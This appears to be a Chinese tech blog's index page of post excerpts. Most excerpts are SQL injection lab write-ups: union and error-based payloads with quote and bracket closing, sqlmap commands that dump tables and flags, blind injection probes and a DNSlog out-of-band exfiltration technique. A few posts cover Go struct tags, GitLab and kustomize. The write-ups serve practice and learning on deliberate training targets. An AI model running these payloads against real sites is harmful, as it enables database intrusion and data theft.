SQL注入之 head 注入与引号绕过 http://injectx1.lab.aqlab.cn:81/Pass-07/index.php?action=show_codea 0x00 先说结论 使用 -- gg 比 --+ 更通用,GET 中 + 会转为 空格 但 POST 中不会 其他而言, HEAD 注入与参数注入利用方式差别不大。 目前看来 INSERT 最难利用的是在判断 字段 插入位置和值对应类型 。 使用 updatexml() 函数报错 xpath 由于 0x7e 是 ~ ,不属于xpath语法格式, 因此报出xpath语法错误。 0x01 分析代码……
阅读全文
golang 为 struct 自动添加 tags vscode 中的 go 0.12.0 版本新加入了一个 auto add tags 的功能。 setting.json 配置如下 1 2 3 4 5 6 "go.addTags": { "tags": "yaml,json", "options": "yaml=omitempty,yaml=options2,yaml=options3,json=omitempty", "promptForTags": false, "transform": "snakecase" }, 在 example.go 中创建一个 struct 1 2 3 4 5 type Person struct { Name string Age int Gender string } 将光标移动到 struct 结构体中, 使用 command + shift + p 选择 go: add tag for struct 即可 result 1 2 3 4 5 type Person struct { Name string `yaml:"name,omitempty,options2,options3" json:"name,omitempty"` Age int `yaml:"age,omitempty,options2,options3" json:"age,omitempty"` Gender string `yaml:"gender,omitempty,options2,options3" json:"gender,omitempty"` }……
阅读全文
掌控安全 SQL 注入靶场练习 - Dnslog 带外测试 dnslog 带外实现 依赖 UNC , 因此只能在 Windows 下利用 利用 DNS 记录不存在时向上查询的工作模式实现带外攻击 不支持 load_file('http://host:port/1.txt') 模式, 否则用不着 dns 了。 OOB 带外中心思想 将本地数据 select ... 通过触发器 load_file( ... ) 将结果传递到外部(含文件)xx.dnslog.cn 0x00 先说结论 0x00.1 dnslog 结果只会缓存 10 个, 超过 10……
阅读全文
查询 MYSQL 数据库 系统库名、表名、字段名 SQL语句 注意: 由于 引号 的原因, 盲注时字符探测不能使用 字符 。 而应该使用 ASCII 进行转换。 0x01 数据库探测 0x01.1 数据库数量探测 1 2 3 -- 数据库数量探测 http://vulhub.example.com:81/Pass-10/index.php?id=1 AND (SELECT COUNT(*) FROM information_schema.SCHEMATA)=6 0x01.2 当前数据库名称探测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -- 查询当前数据库有多少张表 SELECT COUNT(*) FROM information_schema.`TABLES` WHERE TABLE_SCHEMA=database(); --……
阅读全文
掌控安全 SQL 注入靶场练习 - 时间盲注 SQL 时间盲注 0x01 使用 SQLMAP 工具 0x01.1 dump database 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 --current-db 执行结果 current database: 'kanwolongxia' 0x01.2 dump tables 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 -D kanwolongxia --tables 执行结果 Database: kanwolongxia [3 tables] +--------+ | user | | loflag | | news | +--------+ 3 tables: user, loflag, news 0x01.3 dump columns 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 -D kanwolongxia -T loflag --columns 执行结果 Database: kanwolongxia Table: loflag [2 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | flaglo | varchar(255) | | Id | int(11) | +--------+--------------+ 0x01.4 dump values 1 ./sqlmap.py -u http://vulhub.example.com:81/Pass-10/index.php?id=1 -D kanwolongxia -T loflag -C flaglo --dump 执行结果 Database: kanwolongxia Table: loflag [5 entries]……
阅读全文
掌控安全 SQL 注入靶场练习 - 引号括号错误注入 根据之前的经验,已经猜测出过关 Flag 的值了。 接下来两关是 引号 与 括号 的组合。 0x01 括号单引号 注意闭合 单引号 和 括号 1 2 3 4 --- 1. 注意闭合 单引号 和 括号 http://vulhub.example.com:81/Pass-03/index.php?id=1') and 1=2 union select 1,2,(select group_concat(flag) from error_flag) --+ 1 --- flags: zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K 0x02 括号双引号 注意闭合 单引号 和 括号 1 2 3 4 --- 1. 注意闭合 双引号 和 括号 http://vulhub.example.com:81/Pass-04/index.php?id=1") and 1=2 union select 1,2,(select group_concat(flag)……
阅读全文
掌控安全 SQL 注入靶场练习 Pass1 - 报错注入 靶场地址: http://vulhub.example.com:81/Pass-01/index.php?id=1 注意: 错误注入 不一定是会返回错误信息。 也指不正常显示结果, 例如此题的查询为空。 0x01 准备工具 辅助工具 google extension : hackbar 帮助快速构造语句 显示原始字符,免去 urlcode 烦恼 0x02 开始 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 -- 1. 查询数据库名 http://vulhub.example.com:81/Pass-01/index.php?id=1 and 1=2 union select 1,2, database() --……
阅读全文
掌控安全 SQL 注入靶场练习Pass2 - 单引号报错注入 课程目标 https://hack.zkaq.cn/battle/target?id=695d4b6fe02d0bf3 注意, 误区 : 一定 不要认为 所有错误都会被反映到页面上, 程序会处理错误逻辑,并隐藏。 0x01. 判断注入点 引号探测 使用 http://vulhub.example.com:81/Pass-02/index.php?id=1' and 1=1 --+。 可以正常显示结果, 但 1=2 --+ 不行。 判断为 单引号 闭合。 错误姿势 1 2 -- 1. 语句错误, 测试了 `select 1 到 7`。 都没发现可以……
阅读全文
5 分钟Gitlab - 安装 Gitlab Gitlab 是巴啦啦啦啦一大堆。 好处很多。 选型 即使不准备付费, 也选 GitlabEE(企业版本)。 ee 版本免费授权 ee 版本默认开放 ce (社区版) 所有功能。 启用高级功能只需付费购买授权即可。 https://about.gitlab.com/install/ce-or-ee/?distro=ubuntu 准备 准备一台虚拟机, 假设为 ubuntu20.04 操作系统。 根据需要,挂载多个数据盘 默认 /var/opt/gitlab (建议独立) 数……
阅读全文
k8s 部署工具 kustomize 的实用小技巧 在 k8s 上的部署, 大多组件都默认提供 helm 方式。 在实际使用中, 常常需要针对不通环境进行差异化配置。 个人觉得, 使用 kustomize 替换在使用和管理上,比直接使用 helm 参数更为清晰 。 同时组件在一个大版本下的部署方式通常不会有太大的变化, 没有必要重新维护一套部署文档,其实也不一定有精力这……
阅读全文